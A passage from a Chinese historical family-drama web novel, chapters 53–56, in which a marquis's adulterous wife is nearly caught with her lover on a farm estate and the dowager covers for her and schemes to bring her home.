等她的澜舟袭了爵位,定要忠勇侯好看,可想到幼子如今才五岁,她崩溃了。
且不说澜舟有没有能力与谢霆舟争爵位,就算要争那也是十年以后的事。
这样的日子度日如年,别说十年,她怕她熬不到一年便没了命。
旋即她恨上了谢云舟,若他争气,三年前不为了个男人私奔,或许已得了爵位,就不会有今日这处境。
可想到谢云舟不喜女子的原因,她又心虚了。
柳氏便在这些纷繁的情绪里,过了一日又一日,每日最大的期盼,就是老夫人收到她的信能早些回京。
但始终没传来好消息,她满腔怨恨地提着水进了房间。
朝两个护卫怒吼一声滚后,砰的一声关了房门。
这些日子的经历,让她力气大了很多,但柳氏并不觉得这是什么值得高兴的。
矜贵的权贵主母事事有人伺候,只有下等妇才需要力气谋生。
简单洗漱后,她正欲提水去倒时,窗口传来响动。
柳氏心口一提,旋即听到三长两短,熟悉的暗号,紧张顿时化为欢喜。
窗被打开,一男子翻身进来,柳氏扑进他怀里。
低声呜咽,“你终于来了。”
昏暗灯光下,来人拥紧她,“我白日便到了,你身边有人盯着,我不便出现,等到了这个时辰。”
“你再晚来几日,只怕见到的就是我的尸骨了。”
柳氏埋怨。
男子低声安慰好一番。
才将她松开,打量她,蹙了蹙眉。
往日光鲜亮丽的人,如今憔悴了许多,无暇嫩白的脸也不复润泽,竟生出不少细纹。
比他去年看到竟老了十岁不止。
“他当真是个无情无义的东西,竟将发妻当奴才使唤。”
男人咬牙骂道,“亏他还是朝中重臣,竟连侯府颜面都不顾了。
若你在此种地的事传到京城,丢的不也是他的人,莽夫就是莽夫,没脑子的蠢货。”
这些话柳氏在心里不知骂了多少,眼下她更关心的是男人能否救她脱离苦海。
因而如此问道。
男人安抚,“老夫人今晚便能到了,我担忧你,先快马赶过来看看。”
他又问,“究竟是谁害的云舟?”
柳氏便将庄上发生的事,依旧最近侯府发生的事一并告知了他。
男子眸光阴鸷,“你是说这一切都是云舟那个乡野媳妇闹出来的?
谢邦那个畜生,竟还为了护她,将我们的瑶儿
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送去做了马奴?”
柳氏落泪点头。
“云舟已经没了,你不能不管瑶儿,你一定要想法子将她救出来,她可是你的女儿啊,她有个好前程,才能助力你……”
怨归怨,但心里还是记挂女儿的。
男人轻拍她的背,示意她别急。
“我又不是谢邦那畜生,我的女儿我自然要管的。
还有云舟的仇,你和瑶儿的委屈,我都会替你们讨回来。”
想到什么,他又问,“谢霆舟怎么突然回来了,这么多年他不是不回京吗?不会是来抢爵位的吧?”
忠勇侯府的爵位可是他儿子的,谁都不能打主意。
柳氏摇头,“那个煞星,若非他横插一脚,叶桢已经被我处置了。”
她担忧道,“若他是冲着爵位来的,会不会对澜儿下手?
当年我们察觉云舟喜男子的癖好,他又对我们起了嫌隙,我才冒着高龄风险,为你生下澜儿,好让侯府有个正常的继承人。
如今云舟没了,澜儿是我们唯一的儿子了,决不能出事啊。”
“放心,谢邦那蠢货,不知道你生下的三个孩子都不是他的,如今对澜儿上心的很。
也是我们澜儿机灵,讨得他欢喜,听闻他只要在府里,每日再忙都要陪陪澜儿。
有他的重视,谢霆舟不敢轻易下手。
何况,老夫人向来不喜谢霆舟,等她回京有她护着澜儿,你放心便是。”
想到什么,他话头一转,“不过,谢霆舟这人留着终究是个祸患,还得设法除了他……”
柳氏嫌弃谢霆舟,对这话再同意不过,说完谢霆舟,她又担忧账册的事。
男人不甚在意,“先不说以叶桢那木讷的性子,能不能发现阴阳账的事。
就算她发现了,我也早已将那边的事安排好了,谢邦查不到什么。”
谢云舟是他和柳氏的长子,柳氏为谢云舟定下叶桢时,他不放心,还专门派人去叶桢长大的庄子查探过。
查到的情况和叶家说的一样,叶桢就是个地道的乡下丫头,除了**得几个字,没受过任何贵女该有的教导。
她连自己长大的庄子都不能握在手里,反被庄头看守了十几年,怎么懂得里家?还能查出账册的问题?
不过,也不排除有人帮她。
因而他又对柳氏道,“真查到了,你便说那些银钱都贴补给了云舟。”
在谢邦心里,云舟是他的儿子,儿子已经**,就算知道他多花了点又能怎样,他还能跟死去的儿子算账不成。
再说,侯府家大业大,那点子钱算什么。
柳氏见他镇定,也跟着心安了不少,只等着老夫人快些到来,带她回京。
她怀念侯府的温软大床和侯府的山珍海味了。
可她不知,此时跨进庄子的不是老夫人,而是忠勇侯。
第53章 吃翔都赶不上热乎的侯爷
柳氏在心上人面前,有诉不完的委屈,拉着不让男人走。
男人一路奔波,白日又在外面候了许久,也觉疲惫,想着护卫不敢进柳氏的房间,因而随着她一道歇下了。
两人许久未见,柳氏虽面相老了,身上依旧光滑如初,没一会儿,男人便起了心思。
“去塌上。”
柳氏低语,声音里带着委屈和恨意。
忠勇侯不准她住从前的院子,让她搬进了下人房。
床上只铺了条老旧的被子,硬得她每天早上醒来都腰酸背痛不说,有条床腿还是坏的,庄上下人随意寻了东西垫着。
翻个身都能发出动静,哪里敢在上面做什么。
好在,房间还有个半新不旧的罗汉榻。
男人虽嘴上各种看不上忠勇侯,却是惧他的,不敢真发出动静叫人发现,将柳氏扯到了塌上。
塌在窗边,院外有忠勇侯的人守着,像极了他每次偷偷跟柳氏去侯府,穿着忠勇侯的衣服,与柳氏在她房中行亲密之事的刺激感。
这个意外发现让他兴致愈加高涨,柳氏半年不曾有过,很快也被他带动感觉……
两人在屋里忘我时,忠勇侯下了马。
庄头忙上前牵马。
忠勇侯问他,“夫人最近如何?”
庄头便如实同他汇报柳氏情况,不过说得简略。
白日他察觉附近有人后,就给叶桢递了消息,见忠勇侯连夜赶来,他隐约有点猜测,没敢耽搁他的时间。
忠勇侯派了护卫在此,柳氏的情况亲卫每日都有汇报,听庄头说得与护卫一样,柳氏每日跟着下地,他心头的怒焰才没继续疯涨。
“她在哪间房,我自己过去便可。”
柳氏做的事不光彩,忠勇侯不愿下人瞧了热闹。
庄头忙将柳氏的位置告诉他。
忠勇侯大步朝柳氏的院落走去,到了门口,见两个护卫都在院外,而屋里熄了灯。
他蹙眉,“睡了?”
眼下虽已天黑,但并不是很晚,庄上其他人家的屋里都还亮着灯呢。
柳氏富贵惯了,应不是会给侯府省灯油的人。
亲护卫回,“夫人饭后提了水进屋洗漱,不允属下离得太近……”
其他的他们可以不听柳氏的,但这个他们不能不听。
柳氏再落魄,如今还是侯夫人,她洗漱如厕时,他们这些男子靠太近,终究是不好,说不得侯爷也会介怀。
忠勇侯明白护卫的心思,只问道,“她平日也熄灯?”
不知为何,他总觉得这有点反常。
护卫也意识到不对,摇头,“不曾。”
平日,柳氏都是燃到灯芯烧没自己灭的,还同他们抱怨过,灯光过于暗淡,让他们多给几盏灯……
屋里。
尚存一丝理智的柳氏,隐隐捕捉到忠勇侯的声音,忙用力推开男人,“他来了。”
中途被打断,男人很不悦,“大晚上的,他不会来的。”
他白日都打听过了,最近忠勇侯忙得很,晚上还要帮他们带儿子,哪有空来庄子。
嫁给忠勇侯多久,柳氏便给他带了多久的绿帽,常年背着丈夫偷偷摸摸,让她格外警惕,对忠勇侯的声音也格外敏感。
她确定,“快走。”
男人听出她声音的急切,加之对忠勇侯的畏惧,理智终于回笼,披起衣裳从后窗悄悄翻了出去。
忠勇侯推门进来时,柳氏刚穿好衣裳,一张薄被将自己裹住,只露出一个脑袋,窝在罗汉榻上。
心里则在担心男人会不会被发现。
“柳氏。”
忠勇侯点了灯,屋里只有柳氏,他心头暗暗一松。
得知每年有人给瑾瑶送东西,一路他想了很多,甚至疑心过柳氏是不是在外有人,瑾瑶是不是柳氏和别人的孩子。
刚见屋里反常漆黑,他这种感觉更强烈了。
但进了屋,不曾发现其他人,柳氏不复往日华彩的脸上满是泪水,可怜兮兮地看着他。
他又觉得自己这种念头荒唐。
侯府虽柳氏当家,但不是所有人都是柳氏心腹,亦有不少他的人。
先前因着他信任疼宠柳氏,那些人便也跟着效忠柳氏,但若柳氏敢背着他偷人,那些人必定会报于他知晓。
再说,他有权有势,柳氏又有什么理由这样做?
“每年给瑾瑶送东西的人是谁?”
他决意直接问。
柳氏心头一惊,没想到忠勇侯连这个都发现了,她假意瑟缩了下,“是妾身从前去青州看望母亲时,路上相识的富商。
她是女子,侯爷也知这世道女子行商不易,她想寻得妾身庇护,因而讨好我。
恰那次,我带在身边的是瑾瑶,得知瑾瑶爱美,每年年节或者瑾瑶生辰时都会给瑾瑶送些东西。”
心里不由夸赞自己的心上人,幸好他足够机敏,想到了这一点,因而安排好了这样一个女富商。
忠勇侯便想起,柳氏偶尔会带着孩子们去青州看望母亲,心里信了几分。
“那些礼品价值不菲,你又帮她做了什么?”
柳氏垂头,“侯爷威名在外,只需让人知道她背靠忠勇侯府,就是最大的庇护,根本无需妾身做什么。”
“祖籍那些良田又是怎么回事?”
彻底打消妻子有人的念头后,忠勇侯想起今日来此的目的,心头怒火大起。
“本侯在战场拼死保护百姓,你却背着本侯欺压百姓,还瞒着本侯做假账,得到的银钱又都去了哪里?修缮祖宅又是怎么回事?”
柳氏跪在榻上,“妾身出身不好,苦怕了,总想留点私房,所以背着侯爷做下错事。
后头云舟不管不顾跑了,妾身舍不得他在外吃苦,这些年补贴了他许多。
他这三年在外头过得倒是还好,可如今……早知道,妾身还不如不让他回来,都是妾身错了。”
她话到此,捂住自己的脸大哭出声,“侯爷,妾身夜夜梦到我们的云舟,他好可怜啊……”
先前儿子是假死,柳氏有忌讳,许多死者该有的流程都做了假。
这次真死,却被忠勇侯随便埋了,没有葬礼,连祭拜都没有。
柳氏是信轮回的,因而这
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后头的哭是真的,为转移忠勇侯的注意力也是真的。
不得不说,她将忠勇侯对孩子们的爱,拿捏得死死的。
忠勇侯听了这话,果然心里也不好受,没了算账的心思。
“这些年你犯下的错,要你命都不为过。
但澜儿还小,瑾瑶也到了出嫁的年纪,你的命本侯暂时留着,往后便在庄上恕罪,若还敢生事,本侯定亲手杀了你。”
虽将谢瑾瑶发配去养马,但忠勇侯没想过当真不让她出嫁,柳氏若**,谢瑾瑶就得守孝三年。
柳氏闻言,掌心下的唇暗暗勾起。
真正的爱,是时常觉得亏欠。
反之亏欠多了,便忍不住总想多付出些爱,以作弥补。
柳氏便是利用这一点,时常让忠勇侯看到、听到孩子们对父爱的渴望和缺失。
偏忠勇侯又无法常年陪伴孩子们,因而心生愧疚,时日一长,他便陷入这样的圈套而不自知。
他将几个孩子看得很重,孩子们犯错,他责怪柳氏的同时,也自责,对孩子们就相对宽容几分,连带着柳氏也得了好处,保住了命。
院外,庄头多了一个心眼,在忠勇侯去院子的时候,他绕道去柳氏房间的后门。
想看看是不是真的有猫腻,可惜他脚程慢,只看到有道人影闪过。
没抓到人,又不敢真正得罪柳氏,担心她翻身后报复。
故而没敢大喊,只敢偷偷告知护卫,自己在后院疑似看到了人影。
护卫闻言忙去查看,发现的确有脚印,便敲响了屋门,“侯爷,后院似有人闯入。”
柳氏的心一咯噔,紧张便没完全遮掩住,忠勇侯捕捉到这一点,心下一沉,“搜。”
“侯爷,是男人的脚印。”
护卫禀道,“眼下应该还在庄子上。”
忠勇侯来庄上时,陈青带人跟着的,只不过他们都被忠勇侯留在了庄外。
男人顺利从柳氏屋里出来,却没想,陈青会带着人守在庄子入口。
他便绕到偏僻处,打算翻墙出去,就听得有**喊搜刺客,陈青立即让人巡视盯紧院外。
男人担心翻出去就被陈青他们发现了,只得返回庄子四处躲藏。
忠勇侯留在柳氏屋里,细细查看,终于发现窗台有人翻过的痕迹。
先前被自己反驳的念头又冒了出来,“刚刚谁在屋里?”
柳氏心头慌乱,不敢看忠勇侯,只道,“妾身刚为云舟伤心,不曾发现有人。”
忠勇侯这才留意到她始终裹着薄被,沉声道,“被子拿开。”
“侯爷,妾身冷。”
柳氏不敢拿开,因她来不及查看自己身上有无红痕。
而男人每次来,都喜在她身上留下痕迹。
忠勇侯见此心头怀疑更甚,他大步过来,一把扯出柳氏身上的薄被。
却没扯开,柳氏整个人滚躺在榻上,将薄被压得死死的。
身体因害怕微微颤抖。
这明显不对劲!
忠勇侯又加了力道,就在他要将被子彻底掀开时,一道怒吼传来,“你在做什么?”
第54章 帮忙遮掩
衣着华贵的老妇人站在门口,怒目瞪着忠勇侯。
“你的拳头是用来御敌的,而不是对准自己的女人,她再有错,你也不该对她动手。”
来人正是忠勇侯老夫人。
“母亲误会了,儿子不是打她。”
忠勇侯解释了一句,见老夫人身后跟着不少人,他不愿说自己怀疑柳氏偷人。
因而上前搀扶老夫人,转了话题问道,“母亲怎么回来了?”
老夫人哼道,“老身再不回来,家里都不知要成什么样子了。”
她问忠勇侯,“你说不是打她,那是在做什么?”
忠勇侯挥退下人,这才道,“庄上刚发现可疑人。”
“你怀疑她不贞?”
老夫人问得直白。
在自己老娘面前,忠勇侯也不藏着了,点了点头。
“胡闹,她还未及笄便到了侯府,与你算是青梅竹马长大,更是为你生下三个孩子,你怀疑她什么,也不该怀疑她这个。”
“可……”
忠勇侯欲说话。
老夫人打断他,看向柳氏,“你为何不告诉他,是蛮奴奉我的命,来问你情况?”
蛮奴是老夫人身边的女护卫,人高脚大,像极了男子,也有些身手。
见老夫人帮她遮掩,柳氏暗暗松了口气,委屈道,“妾身不敢让侯爷知道,妾身向您求救了。
侯爷孝顺,知道妾身劳烦您从青州赶来,定会更加恼妾身。”
这理由也说得过去。
但,“那你为何裹着被子?”
忠勇侯问她。
柳氏微微松开了薄被,跪在榻上,“侯爷刚刚的表情太严肃了,妾身怕您打妾身。”
不等忠勇侯细辨真假,老夫人便训道,“邦儿,有时候眼见未必为真,耳听亦然。
老身得知家中出事,担心你受人蒙骗,故而让蛮奴先来庄上了解情况。
你也知道蛮奴是根木头桩子一样的,我叮嘱她莫要惊动庄上人,她倒好连你都瞒着。”
她睨着儿子,手指虚点着屋子,“侯府下人都不住的房间,她又被你磋磨成了这副鬼模样,亏你还能想胡思乱想,我看你是打仗打傻了。”
说罢,又狠狠瞪了柳氏一眼。
不知死活的东西,这个时候了,还有心思勾搭男人。
骂出来的话却是,“还有你,你长着嘴是做什么的,若不是老身回来的及时,今晚岂不是又要闹笑话。”
她替忠勇侯做主,“将那些人撤了,大半夜的闹出这般动静,回头附近的人又不知要传出什么荒唐话。”
忠勇侯见柳氏身上是穿着衣裳的,并不是自己以为的衣衫不整。
他又是个孝顺的,信任自己的母亲,便让陈青停止搜寻。
隐在暗处的男人,很快得了机会逃了出去。
忠勇侯对此不知,同老夫人道,“儿子让人去准备院子,母亲暂在庄上歇一晚,明日儿子陪您回府。”
老夫人微微颔首,看了眼柳氏,“眠眠也得了教训,明日便随我们一道回去。”
眠眠是柳氏的闺名。
“不可。”
忠勇侯想也没想,拒绝。
老夫人沉了脸,“邦儿,你要忤逆母亲?眠眠可是你八抬大桥迎进门的发妻。
是老身的救命恩人,更是你三个孩子的母亲。
她在庄上种地的事传出去,外人会如何看你的母亲和孩子们?
当年若不是她不顾危险替母亲挡刀,母亲早就没命了,世人会说母亲忘恩负义,孩子们脸上也不光彩。”
忠勇侯知道老夫人一直感念柳氏救命之恩,对她颇为宽容。
但柳氏所为已经触及他的底线,他不打算松口,并将柳氏所做之事悉数告知老夫人。
这是儿子第一次拒绝自己。
老夫人心生不悦,可她了解忠勇侯,孝顺归孝顺,打定主意的时候也是八头牛都拉不回来的。
她起身,一巴掌打在柳氏脸上。
“你虽是我的儿媳,但我一直将你当女儿来养,因为信任将侯府交到了你手上,结果你便是如此当家,如此养育孩子们的?”
她再没为柳氏求情,一脸失望地离开了房间。
忠勇侯紧跟其后。
出了院子,她叹口气,“邦儿,陪母亲走走。”
忠勇侯心里是吃惊的。
自柳氏到老夫人身边后,老夫人始终偏爱她,连重话都不曾说过,这次竟然打了她。
可见母亲也觉得柳氏错得离谱,母亲到底是明事理的。
忠勇侯心里这般想,搀住了老夫人。
老夫人反手挽住他的胳膊,很是疲累的样子,身子微微靠着他。
“邦儿,是母亲看人不准,让她做了你的续弦,母亲心里很难过。”
“与母亲无关。”
忠勇侯安抚她,他并不觉得这是老夫人的错,更没想过迁怒老夫人。
反倒是担忧道,“母亲身子本就不太好,一路赶来定受了不少罪,等回去需得好生养养。”
提到侯府,老夫人顺势问道,“听说府中现在是叶桢当家?
可老身记得她长在乡下,瞧着也有些木讷,并不擅长这些。”
谢云舟成婚的时候,她回来过,当时并不赞成谢云舟娶叶桢。
是忠勇侯听信柳氏谗言,帮着她劝服的老夫人,加之老夫人回来时,已经下了聘,她便没再坚持,任由柳氏操办。
担心她为难叶桢,忠勇侯替叶桢说好话。
“这一点儿子也很意外,她竟用叶惊鸿的兵法来管家,且到目前为止成效很不错。”
哪里是意外,分明是惊喜。
老夫人看忠勇侯的神情,心中了然。
儿子很满意叶桢。
“谢家有个能干的儿媳,是好事。
只是,霆舟年岁也不小了,他的婚事该操办起来了,等他的妻子进门便是长嫂。
我们这样的人家,按理该是长嫂掌家,届时,再让叶桢交出管家权,只怕会伤了妯娌和气。”
忠勇侯还不曾想那么远,何况,谢霆舟的亲事他也做不了主,那位有主见得很。
但关于他的事,他不便同老夫人说太多,便道,“真到了那时候再说。
兴许霆舟媳妇不爱管家,也兴许霆舟将来要回边境的。
母亲,到底是谢家亏欠了叶桢。”
老夫人听出儿子的敷衍和对叶桢的维护。
不再说教,又叹了口气,低声问,“你当真将云舟葬在了庄上?”
“是。”
忠勇侯如实
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道,“他实在令儿子失望,人死不能复生,儿子只能多为活人考虑。”
“你啊你啊……”
老夫人一下下捶在儿子背上,咬牙低语,“那可是你的亲儿子,老身的亲孙子啊。”
忠勇侯任由她捶打。
老夫人却不舍得真下手,最后拧着他的耳朵,“陪老身去看看他。”
威风凛凛的忠勇侯在老母亲面前蹲下,“夜路不好走,儿子背您。”
老夫人哼了一声,趴在了他背上。
没一会儿,热泪落在忠勇侯脖颈间,“自打嫁给了武将,老身就没一日安心的。
你和你父亲上战场,老身日日祈祷你们安然无恙地回来,好在老天保佑,你父亲得了个寿终正寝。
你也好好的,可老身怎么都没想到,头发花白的年纪,会去孙子的坟前……
邦儿啊,母亲这一路都在想,若当年我不那么杞人忧天,担心将来两个孙子争爵位,选择让云舟从文。
那孩子会不会就没走这弯路,会不会眼下还好好的,兴许跟他大哥一样,随你去了战场,眼下也是争了军功的小将军呢。”
“母亲不必自责,那孩子文不成武不就,会这这条路,也是他自己的问题。”
忠勇侯心疼母亲,倒也清醒。
谢云舟文才作假的事,可是他亲自查的。
至于武功,他虽支持谢云舟走文路,却从没阻止他习武。
朝中不乏文臣身手不赖,谢云舟若是个有志气的,大可和他大哥一样,**得一身武艺。
说到底,还是他自己不行。
老夫人闻言,心却沉到了谷底。
母子俩从坟地回来,已是深夜,忠勇侯担心老夫人熬不住,直接将人背进了房间。
老夫人也心疼儿子,撵他,“你今天也累了,早些回去休息。”
又叮嘱陈青,“煮些艾草给你家侯爷泡脚,去去乏。”
得了老母亲的关爱,忠勇侯笑着离开。
老夫人却沉下了脸,“将她带来。”
没一会儿,柳氏便出现在老夫人房间。
“母亲,当真不能带眠眠回去吗?”
柳氏跪在她膝前,恳求,“眠眠真的熬不住了啊,母亲。”
“熬不住,你还胡来?”
老夫人低斥,“若非老身来得及时,你如今已和云舟作伴去了。”
她自然知道谢邦掀被子的目的是什么,却故意误会他要打妻子,来化解这个危机。
谢邦是武夫,若知道眠眠不贞,只怕几拳头就能要了眠眠的命。
还要连累他人。
“你胆子也太大了,再有下回,老身亲手了结你。”
“他先动的心思,眠眠是女子……”
见老夫人脸色难看,柳氏将解释改为认错。
“眠眠错了,再无下次,还求母亲想想办法,带眠眠回去。”
老夫人这才道,“老身会让你回侯府,但不是这次,你再等几日。”
柳氏眼眸微亮,“母亲可是有了主意?”
只要能回去,等几日也无妨的。
老夫人便低声同她耳语几句后,沉声道,“儿媳还在,没有孙媳掌家的道理。
你且等着吧,很快,我要让叶桢亲自来接你回去……”
第55章 老夫人挑刺
叶桢没再收到庄头的消息,就知忠勇侯又被柳氏糊弄过去了。
心中不由骂了句猪队友。
随后,她收到猪队友,哦不,忠勇侯命人送来的消息,老夫人回京了,让叶桢为老夫人收拾院子。
叶桢早有心理准备,面上得佯装惊讶,忙吩咐下去了。
老夫人虽多年不在府中,院子却一直有人打理,并不费什么功夫。
但忠勇侯是出了名的孝子,对老夫人的事格外留意。
叶桢要与老夫人抗衡,需要忠勇侯的支持。
她投其所好,从老仆嘴里打听老夫人的喜好,亲自去铺子里为她添换了几样家具摆设。
又去花房挑了好些个名贵的鲜花盆栽,灶上做的也都是老夫人从前爱吃的,叶桢特意叮嘱做得软烂些,好克化。
下人们便觉少夫人对老夫人事事周到,处处用心,老夫人见了也无处挑理,忠勇侯满意点头。
“母亲,孩子是个好孩子,用心且孝顺,往后她有不懂得您教教她。”
饭桌上,忠勇侯对老夫人如是道。
他担心老夫人寻叶桢麻烦,从此闹得府中不和谐。
老夫人笑着点头,“的确是个好的,这是我们谢家的福气。”
她没有任何为难,忠勇侯心下安定。
便见老夫人放下筷子,叹道,“若早知叶桢有这些本事,让她协助柳氏管家。
这好好的侯府,也不至于落得如今这冷冷清清的模样。”
以前她回府,桌子能坐满,孙子孙女儿媳围在身边,热热闹闹的,看着很是欢喜。
眼下桌上只有她,儿子,叶桢和小孙子,她瞧着心里难受得很。
便语重心长对叶桢道,“孩子,虽然你入门时,老身不甚满意,但如今你既是侯府的人,就该以侯府为家,莫要见外才是。”
话里确实指责叶桢先前藏拙,故意看着侯府被柳氏糟蹋。
她觉得这一切都是叶桢造成的,迁怒叶桢。
叶桢亦放下筷子,“祖母恕罪,叶桢先前不曾接触高门,并非有意藏拙。”
她直接将老夫人的话外音抬到了明面上。
“哦?”
老夫人面露惊讶,“老身一直觉得管家不是易事,尤其是我们这样的人家,里头的门门道道光是说都得说上许久。
你倒是有天赋,瞧着竟不似生手,倒衬的老身和眠眠无能了。”
这话实在叫人不好接。
老夫人先前交出管家权的理由是,侯府家业大,她年纪大了,精力不济。
若叶桢坚持说自己没有接触过,事实上却又将家管得不错,无疑是打老夫人的脸。
这是极其不孝的行为,寻常晚辈都不敢如此。
可若叶桢说她并非新手,那便说明她之前是撒谎。
忠勇侯讨厌不诚实的人,叶桢在他心里的好印象会大打折扣。
也会让忠勇侯怀疑,叶桢对侯府没真心,她会管家自然能看出柳氏猫腻,却袖手旁观,甚至看笑话。
这更是犯了忠勇侯忌讳。
老妇人用心险恶。
但这一招谢瑾瑶已经用过了。
叶桢不紧不慢,“是叶桢的错,没同祖母说清楚。
叶桢长大的庄子附近有个尼姑庵,庵里有师太曾是州府当家主母,叶桢从她那听了一些持家之事。
但州府哪比得上侯府,叶桢终归只是听过,加之当年新婚入门没多久夫君出事,叶桢一门心思伤怀,更想替夫君尽孝,侍奉好婆母,不曾留意别的,更不敢在婆母面前造次。”
她抬眸缓缓道,“不瞒祖母,若非发生庄上那些事,叶桢至今觉得婆母是疼爱叶桢的。
叶桢信任婆母,因而觉得她什么都好。”
柳氏是老夫人儿媳,管家权也是老夫人交给她的。
叶桢进门才三年,又是儿媳,被孝道压着,连老夫人都没看出柳氏的问题,又怎有资格怪叶桢呢?
叶桢以此反击老夫人。
老夫人更不敢承认自己知晓柳氏的一切,那她将会失去忠勇侯这个儿子。
眼下再光鲜,若没有忠勇侯这个儿子,老夫人什么都不是。
她面上依旧笑着,心里已是怒意滔天。
忠勇侯并非看不出祖孙俩的机锋。
柳
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氏最擅表面功夫。
她不仅骗住了叶桢,也将他耍得团团转。
对此,忠勇侯深有感触,打圆场道,“确实如此,哪有婆母在,儿媳抢着当家的。
她如今也是赶鸭子上架,柳氏不在,瑾瑶又不争气,母亲年岁大了,不能累着您。”
叶桢顺势道,“许多事叶桢依旧不懂,内心惶恐,生怕做不好,但叶桢想着用心尽心总是没错的。”
这话深得忠勇侯的心,“说得好,世间事离不开一个用心,往后当保持。”
老夫人第一次正视叶桢。
这个孙媳不简单!
她若再揪着此事不放,反会惹得自己一身骚。
故而她说起另一件事,“霆舟呢,没人告知他,老身今日回府吗?”
通知府里所有人,是叶桢这个掌家人的责任。
叶桢答,“兄长院中下人回话,他近几日忙碌,不在府上。”
她并未失责,只是人不在家而已。
事实上,她已经好几日不曾见到谢霆舟了,听挽星说,他好似去了外地去。
老夫人想抓叶铮的错处,再次以失败告知。
实在没胃口,很快便散了宴席。
忠勇侯并非闲人,陪了老夫人一日,第二日便去忙了。
老夫人想念幼孙,将他接到了自己院子住下。
小儿子有亲祖母照料,老母亲也有晚辈陪伴,不至于太冷清,忠勇侯乐见其成。
只第二日回府,发现儿子躲着他,似有畏惧之意,像极了他刚回京时那般。
忠勇侯不解,抱起儿子问话,没想谢澜舟竟吓得哇哇大哭。
嘴上喊着,“澜儿乖,父亲别关我……”
叫来下人问话,才知竟是老夫人身边的蛮奴,将柳氏被关在庄上,还被侯爷派人看守的事,同谢澜舟说了。
谢澜舟对忠勇侯刚起的亲近,因为母亲被关再次疏离。
忠勇侯气得想杀了蛮奴,但蛮奴虽是个成人,却只有小孩的脑子。
且她跟在老夫人身边多年,对老夫人忠心耿耿,老夫人很赏识她,忠勇侯只得让人打了她二十板子。
第56章 接柳氏回府
老夫人得知此事后,怒道,“那蛮货皮糙肉厚,二十板子长不了记性,该狠狠饿她几顿。”
蛮奴是个吃货,饿肚子比打她板子更要命。
何况老夫人还说要饿她几顿,吓得她忙跟谢澜舟解释,“你娘犯错了,你爹才关她,你乖,你爹不关你,你别怕他。”
蛮奴有自己的逻辑,觉得只要谢澜舟不怕忠勇侯,自己就不算犯事,不犯事就不用挨饿。
可谢澜舟自小由柳氏亲自带大,他很喜欢自己的母亲。
听蛮奴说母亲犯错,他哭得更凶了,“我母亲是最好的母亲,她才不会犯错……”
蛮奴为了口粮也是拼了,极力证明,“她错了,不错你爹怎么关她,还让人看守。
蛮奴以前犯错,也是被关起来,让人看守的……”
老夫人听不下去了,让人将蛮货拖走,抱着小孙子劝哄,“蛮奴是个傻子,你别听她胡说。
你娘只是身体不好,在庄上养病,大夫说偶尔劳作于她身体有益,你父亲并不曾让人看守她……”
老夫人费了好大劲,才让小孙子将信将疑,再次亲近自己的父亲。
但终究不及前些时日那般亲昵了。
忠勇侯为此苦恼。
老夫人趁机道,“眠眠到底是澜儿的母亲,这天底下的孩子都在意母亲,你也是做儿子的,当明白这个道理。
可他的母亲却被护卫看着,像个犯人,孩子年纪小,心中暂不会分对错,只有亲疏,心里定然不好受。
如今眠眠不在他身边,能陪他长大的只有你这个父亲,可若因此事,让你们父子起了嫌隙,于他成长不利。
邦儿,母亲更担心澜儿将来记恨你,要不,带孩子去见一见她,将护卫撤了吧?”
她很为忠勇侯挂心的样子。
忠勇侯也知柳氏在谢澜舟心里的重要性,他不想小儿子心里留下阴影。
通知柳氏配合,带着谢澜舟去庄上见了柳氏一面。
柳氏没在孩子面前胡说一个字,反而说自己在庄子很好,劝孩子要听父亲的话。
忠勇侯同意撤了护卫。
挽星将这消息告知叶桢,“小姐,这里头会不会有什么阴谋?”
叶桢颔首。
定然是有的。
“可要奴婢趁机去杀了柳氏?”
她始终没忘柳氏对叶桢的恶毒,觉得这是杀柳氏的好机会。
叶桢阻止,“不可,老夫人费心让谢澜舟闹这一出,定然还有下一步,我们且先看着。”
那日,她收到庄子附近有可疑人的消息,猜那人是柳氏的姘头。
但忠勇侯却没抓到人,忠勇侯好歹也是沙场悍将,不会如此无能。
叶桢觉得反常,便让挽星跑了趟,探清了当夜情况。
才知,竟是老夫人的出现,终止了抓人一事。
忠勇侯不知柳氏背叛,因而轻信自己的母亲,可叶桢却知事情绝非如此。
她更震惊,老夫人竟会帮着自己的儿媳遮掩**。
就算柳氏于她有救命之恩,当也不至于对柳氏如此宽容。
这也是忠勇侯没有怀疑老夫人的原因,谁家母亲会让儿子头上顶着青青草原呢。
叶桢甚至怀疑,忠勇侯不是老夫人亲生的。
但老侯爷一生只娶过老夫人一位妻子,两人是患难夫妻。
听闻老夫人当年于战时生下忠勇侯,遇上封城没有粮食时,她没有奶水,是用自己的血水喂养忠勇侯,因而伤了根本,再不曾有过身孕。
老侯爷被封爵后,陛下赐他美人绵延子嗣,老侯爷拒绝了,还以军功给老夫人换了诰命。
老侯爷病逝后,老夫人茶饭不思,最后搬去两人成亲之地青州,以抚相思之情,一住就是多年。
忠勇侯得父亲言传身教,对老夫人极为孝顺,叶桢实在寻不到两人不是亲母子的痕迹,只得暂将这怀疑压下。
叶桢还怀疑过,那个男人是老夫人的人,因老夫人失察,才让他和柳氏混到一起。
老夫人担心儿子迁怒于她,只得帮着隐瞒。
叶桢识得男人的脸,但老夫人身边并无此人,她也暗查过,老夫人近日不曾秘密处置过什么人。
事情似乎比叶桢想的还要复杂。
恰此时,老夫人又利用谢澜舟,让柳氏摆脱监督。
老夫人这样做,总不能是方便柳氏和那男人继续私会。
若真是如此,叶桢要怀疑老夫人脑子是被门挤
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了?还是鬼上身了?
显然老妇人没有糊涂到这个程度,那么她这样做的目的是什么?
几日后,叶桢便知道了。
柳氏和庄上妇人一起进山捡柴时,被附近的老光棍拖进了林子,险些失了清白。
老夫人得到消息后,惊得晕了过去。
醒来后,她拉着忠勇侯的手,“邦儿,让她回府吧,哪怕是让她在府上为奴为婢,或者在府上给她开一块地让她种。
也比放在外面,被人糟蹋来得强啊,你可是忠勇侯啊,真被外面的阿猫阿狗戴了绿帽。
我侯府颜面何存,你和孩子们也会被世人笑话,将来**我都没脸见你父亲。”
忠勇侯也没料到会有这样的事情发生,但他不改初衷。
“澜儿已见过他母亲,往后儿子继续派人盯着柳氏吧。”
他当然不愿戴绿帽,成为京城笑柄。
但让柳氏在庄上,已是轻罚,他做不到让她回来。
老夫人苦笑,“我的蠢儿啊,澜儿会长大的啊,你能瞒他到何时?
你若觉得心里不舒坦,便在侯府择一处偏院,继续做庄上的活计,可好?”
忠勇侯沉默。
无论是让柳氏在府上为奴为婢,还是在侯府种地,都不像样子。
万一没几天这些事传出去,母亲又打着为侯府好的旗号,让他宽恕她……
